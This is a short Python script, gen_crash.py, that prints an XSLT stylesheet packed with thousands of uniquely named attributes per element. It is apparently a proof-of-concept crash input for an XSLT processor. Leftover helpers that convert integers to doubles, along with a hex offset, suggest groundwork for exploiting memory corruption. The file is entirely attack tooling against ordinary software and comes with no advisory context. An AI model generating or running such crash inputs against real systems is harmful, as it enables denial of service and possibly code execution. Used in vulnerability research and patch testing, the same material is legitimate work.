gen_crash.py

import string 
from xml.sax.saxutils import escape
import sys
import struct
import decimal

ctx = decimal.Context()

ctx.prec = 20

def float_to_str(f):
    # Avoid using scientific notation
    d1 = ctx.create_decimal(repr(f))
    return format(d1, 'f')

def to_double(b):
    return float_to_str(struct.unpack('>d', struct.pack('>Q', b))[0])

def unique_strings():
    for a in string.ascii_letters:
        for b in string.ascii_letters:
            for c in string.ascii_letters:
                yield a+b+c

def unique_number():
  if not hasattr(unique_number, "counter"):
     unique_number.counter = 133700 
  unique_number.counter += 1
  return unique_number.counter

def generate_template( strings, c=10000):

    offset = 0x69a

    num = 0 
    def n(strings):
        nonlocal num
        num+=2
        return next(strings)

    # ret = f"""<xsl:template>\n"""
    ret = ""
    num+=1 # template 
    tag = f"""{n(strings)}"""
    ret += f"""<{tag} """


    while num < c:
        ret += f"{n(strings)}='{n(strings)}' "

    ret += "/>"


    # ret+="""\n</xsl:template>"""
    return ret+"\n"


strings_iter = unique_strings()
xml = """
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">\n"""
xml+=f"""<xsl:template>\n"""
xml+=generate_template(strings_iter)
xml+=generate_template(strings_iter)
xml+=generate_template(strings_iter)
xml+=generate_template(strings_iter)
xml+=generate_template(strings_iter)
xml+=generate_template(strings_iter)
xml+=generate_template(strings_iter, 5345)
xml+="""\n</xsl:template>"""
xml+="""</xsl:stylesheet>"""


print(xml)